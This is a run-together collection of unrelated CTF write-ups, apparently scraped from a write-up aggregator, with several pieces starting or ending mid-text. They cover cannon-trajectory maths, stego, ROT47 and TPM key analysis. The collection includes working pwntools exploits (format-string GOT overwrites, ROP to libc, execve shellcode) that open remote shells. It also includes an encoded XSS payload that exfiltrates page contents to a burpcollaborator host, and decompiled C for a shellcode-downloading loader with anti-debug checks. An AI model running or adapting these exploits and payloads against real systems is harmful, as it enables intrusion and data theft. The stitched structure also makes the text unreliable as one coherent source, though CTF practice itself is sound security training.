while (dn > lenM): pn = (pn[0] + (p1[0] - p0[0]), pn[1] + (p1[1] - p0[1])) dn = sqrt(pn[0]**2 + pn[1]**2) # new distance from origin t += .5```
Where `p0` is the starting point, `p1` the point after `0.5 TU` and `pn` is the new point (fist initialized to `p0`).
We can then divide the distance of `pn` from the origin by the speed of the shell (`900 SU/TU`, given as hint of the challenge) and subtract it at the time passed `t`.
```pythont = t - (dn / 900)```
Now that we have the point to aim for and the distance we can obtain the yaw in randians interpreting the 2 coordinates of `pn` as a vector `(x, y)` and then using the `arctan2` function as follow:
```pythonyaw = arctan2(pn[1], pn[0]) * (180 / 3.14159) ```
Note the conversion from radians to degrees with `180 / 3.14159`.
As the challenge's description says
> The shells have a *decent* blast radius, so you do not need to be pinpoint accurate.
So, if we want, we can also round up the results as follow
```pythonyaw = round(yaw, 5)t = round(t, 5)dn = round(dn, 5)```
We can then iterate every given plane at each level and than get the flag!
The complete code:
```python#! /bin/python3
import refrom pwn import *from numpy import *
lenM = 1300dt = .5
regex = r"([0-9]+):\ \(((-?[0-9]*\.[0-9]*[,|)]?\ ?){2})\ ->\ \(((-?[0-9]*\.[0-9]*[,|)]?\ ?){2})"reg = re.compile(regex)
p = remote('challs.xmas.htsp.ro', 6003)p.recvuntil(b'elf>')p.send(b'\n')p.recvuntil(b'elf>')p.send(b'\n')p.recvuntil(b'yes>')p.send(b'\n')p.recvuntil(b'ready>')p.send(b'\n')while True: try: line = p.recvline().decode() except: break
print(line)
res = reg.match(line) if(res is None): continue
p0 = res.group(2).split(',') p1 = res.group(4).split(',') p0[0] = float(p0[0]) p0[1] = float(p0[1].replace(')', '').replace(' ', '')) p1[0] = float(p1[0]) p1[1] = float(p1[1].replace(')', '').replace(' ', '')) dn = sqrt(p0[0]**2 + p0[1]**2) pn = p0 t = 0
while (dn > lenM): pn = (pn[0] + (p1[0] - p0[0]), pn[1] + (p1[1] - p0[1])) dn = sqrt(pn[0]**2 + pn[1]**2) t += dt
yaw = arctan2(pn[1], pn[0]) * (180 / 3.14159) t = t - (dn/900)
yaw = round(yaw, 5) t = round(t, 5) dn = round(dn, 5)
send = ' '.join([str(yaw), str(dn), str(t)]) print(send) p.sendline((send).encode('ascii'))```
I used [pwntools][pwntools_link] for communications and [numpy][numpy_link] to perform the maths, than the standard python's regex library to parse inputs.
After running the script and defending the position, the program will print out our flag:
`X-MAS{4NY_PR0bl3m_c4n_B3_S0lv3d_W17h_4_b16_3n0u6H_C4NN0N_hj9jh98j94}`
[numpy_link]: https://numpy.org[pwntools_link]: https://github.com/Gallopsled/pwntools[ctf_event]:https://ctftime.org/event/1520 |
[Writeup](https://github.com/0xpurpler0se/CTF-Writeups/blob/main/FooBar%20CTF%202022/baby_rev.md) https://github.com/0xpurpler0se/CTF-Writeups/blob/main/FooBar CTF 2022/baby_rev.md |
This writeup is best viewed on [GitLab] or mirorred on [GitHub].# Malware
## Introduction
The first thing we tackled was `main` while stubbing out all of the functions.We got tripped up while defining `payload` and `check` as the following:
```cint check(void){ return 0;}
int payload(void){ return 0;}```
This resulted in two lines of assembly clearing $eax before `call`'ing both ofthese functions. I'm not sure why this occurs, but some [Stack Overflow] hintedthat it may have been because the compiler didn't know how many arguments thefunction could take (even though we specified `void`?). It then would have notmade any assumptions about the arguments. In [variadic] functions, $ALis used to hold the number of vector registers holding arguments to thefunction. This register needs to be cleared before calling the function if weindeed aren't passing it any arguments. Just a guess though?
We then looked at `hide` which was pretty straightforward from the Binary Ninjaoutput. The only sticky part was the assembly instruction `cdqe` which signextended a 32bit value into a 64bit register. Thus in the call to `sprintf` wehad to cast the value to an `long`. This got us a match for this small function.
```cint hide(char ** a){ int len; len = strlen(*a); prctl(PR_SET_NAME, PROC_NAME); return snprintf(*a, len, "%s%*c", PROC_NAME, (long)len-4, " ");}```
The next shortest function was `myprint`. This was also copy-paste from BinaryNinja where the latters output was the following:
```cint64_t myprint(char* arg1)
int32_t len = strlen(arg1)char* buf = malloc(bytes: sx.q(len))strcpy(buf, arg1)for (int32_t var_18 = 0; var_18 s< len; var_18 = var_18 + 1) buf[sx.q(var_18)] = buf[sx.q(var_18)] - 1puts(str: buf)fflush(fp: stdout)return free(mem: buf)```
And our 100% match of the function:
```cvoid myprint(char * a){ int32_t len; char * buf;
len = strlen(a); buf = malloc((int64_t)len); // Again, the `cdqe` instruction popped up.
strcpy(buf, a); for (int32_t i = 0; i < len; i+=1){ buf[i] = buf[i] - 1; } puts(buf); fflush(stdout); return free(buf);
return;}```
The tricky part about `payload` was that you needed to recognize that there wasa struct present in the function. This was made clear with Ghidra's output (Iam a lot more familiar with laying out structures in Ghidra than I am withBinja.):

Knowing that, we got a 100% match with:
```cint payload(){
int fd; int conn; struct sockaddr_in sa; void * buf;
fd = socket(2, 1, 0);
sa.sin_addr.s_addr = inet_addr("127.0.0.1"); sa.sin_family = AF_INET; sa.sin_port = htons(8888);
if (connect(fd, &sa, 16) < 0){ myprint("Dpoofdujpo!gbjmfe/"); exit(4); } buf = mmap(NULL,4096,7,0x22,-1,0); if (read(fd, buf, 1024) < 0){ myprint("Dbo(u!sfbe/"); exit(5); } myprint("Mfu(t!hp/"); (*(void(*)())buf)();
return 0;}```
`check` was tricky because of the buffer that was zeroed out on the stack. Wehad to get some assistance after the challenge to figure that part out and getthe stack offsets to align correctly.
```cvoid check(){ int fd; char buf[16] = {0};
if (((*(unsigned char *)payload) & 0xff) == 0xcc){ myprint("Csfblqpjou!efufdufe/"); exit(1); }
if (ptrace(PTRACE_TRACEME, 0) == -1){ myprint("Efcvhhfs!efufdufe/"); exit(2); }
fd = open("/sys/class/dmi/id/sys_vendor", O_RDONLY); read(fd, buf, 8); if (strncmp(buf, "QEMU", 4) == 0){ myprint("Tboecpy!efufdufe/"); exit(3); }}```
This was a great challenge and we learned a lot from the disassembly!
[Stack Overflow]:https://stackoverflow.com/questions/6212665/why-is-eax-zeroed-before-a-call-to-printf[variadic]: https://en.wikipedia.org/wiki/Variadic_function[GitLab]: https://gitlab.com/WhatTheFuzz-CTFs/ctfs/-/blob/main/decompetition/malware/README.md[GitHub]: https://github.com/WhatTheFuzz/CTFs/tree/main/decompetition/malware |
# Warmup.py
```pyfrom pwn import *
# r = process('./chall')# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r = remote('chall.nitdgplug.org', 30091)libc =ELF('./libc.so.6')
libc_main = libc.sym['__libc_start_main']r.readline()r.sendline(b'%20$p %9$p %23$p')base, leak, canary = r.readline().split()
leak = int(leak, 16) - 0x1cf6c0canary = int(canary, 16)base = int(base, 16) - 0x12e0
pop_rdi = 0x0000000000001343 #: pop rdi; ret;
p = cyclic(72, n=8)p += p64(canary)p += b'AAAAAAAA'p += p64(base+pop_rdi)p += p64(base+0x3FE0)p += p64(base+0x10B4)p += p64(base+0x1209)
r.sendline(p)r.recv()leak = int.from_bytes(r.recv().split()[0], byteorder='little')
r.sendline(b'AAAA')r.readline()
leak = leak-libc_main
p = cyclic(72, n=8)p += p64(canary)p += b'AAAAAAAA'p += p64(leak+0xe3b31)
r.sendline(p)
r.interactive()```
# FLAG
**`GLUG{1f_y0u_don't_t4k3_r1sk5_y0u_c4n't_cr3at3_4_future!}`**
|
```#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *from pwnlib.fmtstr import *
exe = context.binary = ELF('./chall')libc = ELF('./libc.so.6')
host = args.HOST or 'chall.nitdgplug.org'port = int(args.PORT or 30095)
def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw)
gdbscript = '''#tbreak maincontinue'''.format(**locals())
# -- Exploit goes here --
io = start()
io.recvline()io.recvline()
payload = fmtstr_payload(6, {exe.got.__stack_chk_fail: exe.symbols.main})payload += b"A"*50io.sendline(payload)
payload = b"%3$p "payload += b"A"*80io.sendline(payload)
io.recvline()io.recvline()leak = int(io.recvline()[2:].split(b" ")[0], 16)libc.address = (leak - 0x111142) & 0xfffffffffffff000info(f"leak address: 0x{leak:x}")info(f"libc address: 0x{libc.address:x}")
payload = fmtstr_payload(6, {exe.got.printf: libc.symbols.system})payload += b"A"*100io.sendline(payload)
io.sendline(b"/bin/sh")
io.interactive()
``` |
if any(bad_string in msg for bad_string in ['script', 'svg', 'object', 'img', '/', ':', '>']):
使用iframe标签的srcdoc属性可以使用 &#;绕过不闭合双引号可导致flag正文出现在我们的iframe子页面
report page send payload:```http://localhost:1337/pastes/flag?error=%3Ciframe%20src=%22%23%22srcdoc=%22<%26%23115;cript%26%2362;%26%23115;%26%23101;%26%23116;%26%2384;%26%23105;%26%23109;%26%23101;%26%23111;%26%23117;%26%23116;%26%2340;%26%2396;%26%23100;%26%2397;%26%23116;%26%2397;%26%2361;%26%23100;%26%23111;%26%2399;%26%23117;%26%23109;%26%23101;%26%23110;%26%23116;%26%2346;%26%23103;%26%23101;%26%23116;%26%2369;%26%23108;%26%23101;%26%23109;%26%23101;%26%23110;%26%23116;%26%23115;%26%2366;%26%23121;%26%2367;%26%23108;%26%2397;%26%23115;%26%23115;%26%2378;%26%2397;%26%23109;%26%23101;%26%2340;%26%2334;%26%23115;%26%23117;%26%2398;%26%23116;%26%23105;%26%23116;%26%23108;%26%23101;%26%2334;%26%2341;%26%2391;%26%2348;%26%2393;%26%2346;%26%23116;%26%23101;%26%23120;%26%23116;%26%2367;%26%23111;%26%23110;%26%23116;%26%23101;%26%23110;%26%23116;%26%2359;%26%23102;%26%23101;%26%23116;%26%2399;%26%23104;%26%2340;%26%2339;%26%23104;%26%23116;%26%23116;%26%23112;%26%2358;%26%2347;%26%2347;%26%23117;%26%23119;%26%23117;%26%23119;%26%23110;%26%23104;%26%2357;%26%2350;%26%23101;%26%2349;%26%2356;%26%23113;%26%2397;%26%23112;%26%23122;%26%23117;%26%2355;%26%2350;%26%23116;%26%2350;%26%23103;%26%23117;%26%2353;%26%2349;%26%2355;%26%23115;%26%23100;%26%23107;%26%2349;%26%2357;%26%2346;%26%2398;%26%23117;%26%23114;%26%23112;%26%2399;%26%23111;%26%23108;%26%23108;%26%2397;%26%2398;%26%23111;%26%23114;%26%2397;%26%23116;%26%23111;%26%23114;%26%2346;%26%23110;%26%23101;%26%23116;%26%2347;%26%23115;%26%2397;%26%2397;%26%2397;%26%2339;%26%2344;%26%23123;%26%23109;%26%23101;%26%23116;%26%23104;%26%23111;%26%23100;%26%2358;%26%2332;%26%2339;%26%2380;%26%2379;%26%2383;%26%2384;%26%2339;%26%2344;%26%2398;%26%23111;%26%23100;%26%23121;%26%2358;%26%2332;%26%23100;%26%2397;%26%23116;%26%2397;%26%23125;%26%2341;%26%2396;%26%2344;%26%2351;%26%2348;%26%2348;%26%2348;%26%2341;%26%2359;<%26%2347;%26%23115;cript%26%2362;```
burpcollaborator get flag :) |
# entropy.py
```pyfrom z3 import *
s = Solver()
a = BitVec('a', 32)b = BitVec('b', 32)c = BitVec('c', 32)d = BitVec('d', 32)e = BitVec('e', 32)f = BitVec('f', 32)
b ^= ab ^= 0x153c3a3ca += 0x10a ^= 0x47554c57c -= 0x20c ^= 0x6c417534d &= 0xffffffffd ^= 0x4e40725fe ^= 0x22e ^= 0x694d3046f += 2f ^= 1f ^= 0x7d52335da |= ba |= ca |= da |= ea |= f
s.add(a == 0x0)
s.check()m = s.model()
flag = {}
for i in m.decls(): flag[i.name()] = m[i].as_long()
w = b''
for i in sorted(flag): w += bytes.fromhex(hex(flag[i])[2:])[::-1]
print(w)
```
# FLAG
**`GLUG{viRTuAl_r@Nd0MiZ3R}`**
|
We are given a message in binary code: 01000100 01010101 01000111 01111100 01011010 00110001 01010110 00101110 01110101 01110000 01110000 00101110 01000011 01110011 01110110 00110010 01110110 01010100 01111110.Which, when decoded, is: DUG|Z1V.upp.Csv2vT~
The description talks about Caesar, so I immediately thought of the [Caesar cipher](https://en.wikipedia.org/wiki/Caesar_cipher) and [ROT13](https://en.wikipedia.org/wiki/ROT13). But since the are no curly brackets I decided to use the [ROT47](https://en.wikipedia.org/wiki/ROT13#Variants) (which is Caesar cipher by 47 chars).
Then, I used [CyberChef](https://gchq.github.io/CyberChef/#recipe=From_Binary('Space',8)ROT47(-1)&input=MDEwMDAxMDAgMDEwMTAxMDEgMDEwMDAxMTEgMDExMTExMDAgMDEwMTEwMTAgMDAxMTAwMDEgMDEwMTAxMTAgMDAxMDExMTAgMDExMTAxMDEgMDExMTAwMDAgMDExMTAwMDAgMDAxMDExMTAgMDEwMDAwMTEgMDExMTAwMTEgMDExMTAxMTAgMDAxMTAwMTAgMDExMTAxMTAgMDEwMTAxMDAgMDExMTExMTA) to *manually* brute-force the amount of rotations.
The flag is: **CTF{Y0U-too-Bru1uS}** |
# Gee, queue are ex?
## Description
Oh the wonderful world of radio frequency.. what can you see?
Challenge file: painter.iq
## Solution
We can open the file with https://github.com/miek/inspectrum

#### **FLAG >>** `UMDCTF{D15RUP7_R4D10Z}` |
# Blue
## Description
Larry gave me this python script and an image. What is she trying to tell me?
[bluer](bluer.png)
[steg](steg.py)
## Solution
```pythonfrom PIL import Imageimport random
filename = 'bluer.png'orig_image = Image.open(filename)pixels = orig_image.load()width, height = orig_image.size
numbers = []
for y in range(height): i = 0 for x in range(width): i += orig_image.getpixel((x, y))[0] - 34 i += orig_image.getpixel((x, y))[1] - 86 i += orig_image.getpixel((x, y))[2] - 166 numbers.append(i)
print(numbers)
chars = []
for n in numbers: if n != 0: chars.append(chr(n))
print(''.join(chars))```
```console$ python decode.py [85, 77, 68, 67, 84, 70, 123, 76, 52, 114, 114, 121, 95, 76, 48, 118, 51, 115, 95, 104, 51, 114, 95, 115, 116, 51, 103, 48, 110, 111, 103, 114, 64, 112, 104, 121, 95, 56, 57, 51, 50, 48, 125, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]UMDCTF{L4rry_L0v3s_h3r_st3g0nogr@phy_89320}```
#### **FLAG >>** `UMDCTF{L4rry_L0v3s_h3r_st3g0nogr@phy_89320}` |
```#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *
exe = context.binary = ELF('./Hunters')
host = args.HOST or 'chall.nitdgplug.org'port = int(args.PORT or 30090)
def start_local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit goes here --
io = start()
io.sendlineafter(b":", b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x0f") # jmp to next 0x0fio.sendlineafter(b":", b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") #shellcode
io.interactive()
``` |
The disk image decrypted in Part 1 contains 4 files in `/home/passwords`:* `decrypt_flag.sh` with the command `openssl pkeyutl -engine tpm2tss -keyform engine -inkey key.pem -decrypt -in passwords_flag.txt.enc`* `pubkey.pem` that seems to be an ordinary RSA-2048 public key* `passwords_flag.txt.enc` with 256 bytes of garbage, presumably encrypted with the key above* the following `key.pem`:```-----BEGIN TSS2 PRIVATE KEY-----MIICEwYGZ4EFCgEDoAMBAQACBQCBAAAABIIBGAEWAAEACwAGBHIAAAAQABAIAAABAAEBAL3CUfIQc81ZcnbTVc5m+WXwavOUuhXVMGGh2Wc0YCcucCGfwGLUERZYWzQKDxng2Aq0Fa/BKg0pdLxZqEgXjlaCrXLwiQR6ocxL1KxrRuldOM83A5FtgpcNEtDexn5f9j3qbvMOD8k9NKvdmgvqLMb52iaLdAkJA2pec+72nGP14J6lJoB/6+pnPfnpOY6/YggAiGf1FRF/JXN7pEydCnH0Mdq3g4csv2B2VwjkQTHz5UkOefOhT3kGLAkuXMVdxZ8U6YgcC3LzyB5QjDFPBPDAAxYYgRGoqlQav0D3Do3hZwrOq/4vIC5dU4KxyO5Svy7ITNepbf8PhGXPl7kdvXcEgeAA3gAg8u9WIVariG4CxvgurtbIj0u7HXk+52f1uITfHtlTxDAAEKrPxEQTSqH5Ib1cFUYwSdyZmsBzKdcuQCDs/mT4mr7/WQmnvN1cN1XbuLuiK3SspiQ+v/aFk9472o0pyV7RY9u60zQvsKXhYf6vJNjFYL02QP8RFoCUfCGZKGtnSnzcZpbEGDnzy2+UxxVUjEc0YCDPgZYdgyHAHB2NeZhw6AITQH5OP2w81IPTdnrEIl3CCd9IoEsyIoDPLJcJwc4/dCKDCVd4fR+hXP8R5++9CVd1iOFY7A+mvQiKsw==-----END TSS2 PRIVATE KEY-----```
[https://lapo.it/asn1js/](https://lapo.it/asn1js/) decodes `key.pem` into a sequence of 5 items:* OBJECT IDENTIFIER 2.23.133.10.1.3 (presumably just an identifier of "TSS2 PRIVATE KEY")* BOOLEAN false* INTEGER 0x81000000* 280-byte string with mostly-zeroes header and some binary data that upon a closer investigation turns out to be the same as modulus in `pubkey.pem`* 224-byte string of the form `00DE0020`(32 bytes of binary data)`0010`(more binary data)
Usual RSA private keys contain a private exponent and all prime divisors of the modulus;these are too big to fit in unknown 224-byte field. On the other hand,224 bytes are too much for a simple identifier of something stored inside TPM.
The provided TPM image is launched by simple shell script that runs `qemu-system-riscv64`with exposing host's `/dev/urandom` to the guest and guest's port 2321 to the host.
It is time to launch everything locally and see how it fits together.TPM image boots without problems. However, `decrypt_flag.sh` cannot find tpm2tss engine.Well, it is relatively easy to find [https://github.com/tpm2-software/tpm2-tss-engine/](https://github.com/tpm2-software/tpm2-tss-engine/)and underlying library [https://github.com/tpm2-software/tpm2-tss](https://github.com/tpm2-software/tpm2-tss) . They don't seemto reach into Debian package distributions (yet?), but at least have INSTALLinstructions and basic usage examples.
[...pause...](https://xkcd.com/303/)
Compiled binaries appear... but they refuse to work with the launched TPM image,saying something about inability to connect to port 2322. After some digging in sources,I have noticed that TCP connections can be handled by tcti-mssim and tcti-swtpm,and both of those use two sockets on two ports; while the first connection to port 2321succeeds, the second connection fails. If TPM image does not expose the second port,then maybe the second connection is not so important, so I have decided to insert`return TSS2_RC_SUCCESS;` to the beginning of `tcti_control_command` in tcti-swtpm.cand watch for problems.
...recompiling and reinstalling...
This time, the usage example works, successfully generates a private keyand encrypts/decrypts test data. The generated key looks quite like `key.pem`,but not without differences:* the second item of the sequence is BOOLEAN true instead of false* the third item is INTEGER 0x40000001 instead of 0x81000000* binary data is different, but it is expected
`decrypt_flag.sh` asks for a password. A random string does not work.Well, that was not surprising.
Structure of the key can be found by grepping "TSS2 PRIVATE KEY" in sources:[https://github.com/tpm2-software/tpm2-tss-engine/blob/master/src/tpm2-tss-engine-common.c#L46](https://github.com/tpm2-software/tpm2-tss-engine/blob/master/src/tpm2-tss-engine-common.c#L46)The second field is `emptyAuth`, the third field is `parent`.
Let's try to change the original key to `emptyAuth=TRUE` (byte 0x00 -> 0xFF)...now openssl doesn't ask for password, but doesn't work either. Well, it was worth trying anyway.
`tcpdump` for port 2321 shows that `openssl pkeyutl -decrypt` just sends binary data as isusing command code `TPM2_CC_Load`, together with plaintext password if provided.It seems that tpm2-tss library won't provide much more information,so it is now time to look more closely into TPM image.
`binwalk -e` over the provided kernel extracts zlib-compressed data `60C7C0` thatturns out to be cpio archive of initrd (good, I was already mentally preparingto disassemble the kernel and wondering why this isn't in Reverse category)with the following /init:```#!/bin/busybox shbusybox mkdir -p /dev /proc /sysbusybox mount -t devtmpfs dev /devbusybox mount -t proc proc /procbusybox mount -t sysfs sys /sys
if ! (busybox ip route show | busybox grep 'dev eth0') ; then echo -e "\033[31;1mERROR: Ethernet interface not configured" set -x busybox ls -l /sys/class/net busybox ip link busybox ip addr busybox poweroff -ffi
echo "Starting TPM"echo "0x$( (busybox id && busybox ls -1 / /tpm) |busybox sha256sum | busybox cut -d\ -f1)" > /...swtpm socket --tpm2 --server port=2321,bindaddr=0.0.0.0 --flags not-need-init,startup-clear --tpmstate dir=/tpm --key file=/...,format=hex,mode=aes-256-cbc,remove=truebusybox poweroff -f```
Initrd image also contains executable `/bin/swtpm`, libraries `/lib/libtpms.so.0` and `/lib/swtpm/libswtpm_libtpms.so.0`,and an encrypted file `/tpm/tpm2-00.permall`.
Reconnaissance shows the following:* swtpm is open-source [https://github.com/stefanberger/swtpm](https://github.com/stefanberger/swtpm)* swtpm handles TCP stuff, but delegates the actual work to libtpms* libtpms is also open-source [https://github.com/stefanberger/libtpms](https://github.com/stefanberger/libtpms)* tpm2 part of libtpms closely follows the reference implementation by TCG: [https://trustedcomputinggroup.org/resource/tpm-library-specification/](https://trustedcomputinggroup.org/resource/tpm-library-specification/)* the reference implementation comes with 4-volume 30-megabyte specification* given the size of the specification, it is unclear which way is simpler to grasp some particular aspect: reading the spec or following the code. I have mostly used the second way
Now, getting inside swtpm is required. There are two possible directions.The first way is launching qemu with built-in gdb server `-S -s` andusing a specific version of gdb to debug RISC-V64 code. The second wayis compiling, configuring and installing swtpm and libtpms, then grabbingall settings from initrd image (the master key is `33f5cd9fca9372b7a7710473ea72993716bad14cb3e04f000de0a1b5157cf3a1`,by the way) and using standard native debugger, debug printing or whatever.In my experience, compiling a random bulk of C or C++ code is a lotterywhere result can be anything from "it just builds and runs without anyproblems" to "you should find a dozen of dependencies and dependenciesof dependencies, you should use two-year-old version for some of themto match the age of initial code, you should also fix some compilationerrors because the compiler has also advanced in those two years...and just hope that the compiler won't [silently break the code in runtime](https://www.imperialviolet.org/2016/06/26/nonnull.html)because it contradicts some obscure corner of the standard". So I have chosento go the first way. In principle, existing TPM image can be somehow modified,but in the end, I have not found any evidence of that, so the second waywould probably work as well.
Common `gdb-multiarch` refuses to deal with 64-bit RISC-V, so [a special version](https://github.com/sifive/freedom-tools/releases) is needed.However, `objdump` disassembles usermode parts just fine, includingall the symbols (I'm not sure whether this comes out-of-box or due to someinstalled package) and needs just a little push for the kernel(`objdump --target binary --architecture riscv:v64 --disassemble-all vmtpm-kernel`).
GDB server of qemu provides a kernel debugger, so the first step afterletting the emulated system to fully boot is getting into usermodein the context of the right process. Internet says that sysexit instructionin RISC-V64 is named SRET; objdump-ing the kernel finds it at offset `0x1bea`.`b *0xffffffff80001bea; c` shows that this is constantly executed by the kernel-modecode as well; Internet says that return address for SRET is stored in `$sepc` register,so `b *0xffffffff80001bea if $sepc>0` gets rid of false positives and breaks onlywhen openssl tries to connect to the socket (`stepi` leads to `poll` from libcin the context of swtpm process that is in turn called from `mainLoop`of libswtpm_libtpms). From there, it is relatively straightforwardprocess of matching source code and disassembled code with symbols while tracingwith `stepi`, `b *<address>` and `advance *<address>`.
The path to `TPM2_CC_Load` handler looks like this:* `mainLoop` from libswtpm_libtpms.so eventually calls `TPMLIB_Process` from libtpms.so: [mainloop.c#L292](https://github.com/stefanberger/swtpm/blob/50670dca124ff4ac7a5e478beebd4861641b8a60/src/swtpm/mainloop.c#L292)* `TPMLIB_Process` jumps to version-specific handler: [tpm_library.c#L164](https://github.com/stefanberger/libtpms/blob/cd8025fa6fbf141ef431595efc2a5d416244d3c3/src/tpm_library.c#L164), TPM2 corresponds to `TPM2_Process`* `TPM2_Process` calls `_rpc__Send_Command`: [tpm_tpm2_interface.c#L219](https://github.com/stefanberger/libtpms/blob/cd8025fa6fbf141ef431595efc2a5d416244d3c3/src/tpm_tpm2_interface.c#L219)* `_rpc__Send_Command` calls `_plat__RunCommand`: [TPMCmdp.c#L245](https://github.com/stefanberger/libtpms/blob/cd8025fa6fbf141ef431595efc2a5d416244d3c3/src/tpm2/TPMCmdp.c#L245)* `_plat__RunCommand` calls `ExecuteCommand`: [RunCommand.c#L95](https://github.com/stefanberger/libtpms/blob/cd8025fa6fbf141ef431595efc2a5d416244d3c3/src/tpm2/RunCommand.c#L95)* `ExecuteCommand` finally starts parsing and processing the command: [ExecCommand.c#L153](https://github.com/stefanberger/libtpms/blob/cd8025fa6fbf141ef431595efc2a5d416244d3c3/src/tpm2/ExecCommand.c#L153)
From there on, there are two areas of potential interest: what happens to the passwordand what happens to the private key argument. These follow different code paths.
The private key for TPM RSA turns out (`CommandDispatcher` -> `TPM2_Load`) to be authenticated and encrypted(`TPM2_Load` -> `PrivateToSensitive`) divisor of the modulus (`TPM2_Load` -> `ObjectLoad` -> `CryptRsaLoadPrivateExponent`).That explains why it is smaller than the modulus - for standard two-prime keys,one divisor combined with the modulus is enough to calculate everything else.
